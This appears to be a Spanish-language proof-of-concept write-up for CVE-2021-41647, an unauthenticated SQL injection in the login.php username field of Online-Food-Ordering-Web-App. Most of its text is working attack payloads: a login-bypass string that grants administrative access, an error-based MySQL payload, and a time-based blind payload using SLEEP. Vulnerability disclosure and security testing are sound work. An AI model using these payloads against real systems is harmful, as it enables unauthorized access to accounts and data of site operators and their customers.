
Prueba de concepto de explotación para inyección SQL no autenticada en Online-Food-Ordering-Web-App, que demuestra técnicas de omisión de inicio de sesión e inyección ciega basada en errores y tiempo.
CVE-2021-41647 Inyección SQL en Online-Food-Ordering-Web-App
La aplicación Online-Food-Ordering-Web-App es vulnerable a ataques de inyección SQL no autenticados, tanto basados en error como a ciegas basados en tiempo. El parámetro username de la página /login.php no sanitiza la entrada del usuario, por lo que un atacante puede evadir el inicio de sesión mediante una sencilla técnica de bypass.
URL: /login.php
PARÁMETRO: username
Para evadir el inicio de sesión del usuario y obtener acceso administrativo completo, introduce el payload en el campo de entrada username:
user' or 1=1-- -
Parámetro: username (petición POST) Tipo: basado en error Título: MySQL >= 5.0 y basado en error - cláusula WHERE, HAVING, ORDER BY o GROUP BY (FLOOR) Payload:
username=test'||(SELECT 0x6d65686d WHERE 8694=8694 AND (SELECT 8639 FROM(SELECT COUNT(*),CONCAT(0x71626a7a71,(SELECT (ELT(8639=8639,1))),0x71766a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&password=asdfasdrfTipo: ciego basado en tiempo
Título: MySQL >= 5.0.12 y ciego basado en tiempo (query SLEEP)
Payload: username=test'||(SELECT 0x6d6d6367 WHERE 7580=7580 AND (SELECT 4416 FROM (SELECT(SLEEP(5)))nUhT))||'&password=asdfasdrf

Jason Colyvas
MOBIUSBINARY
20 de septiembre de 2021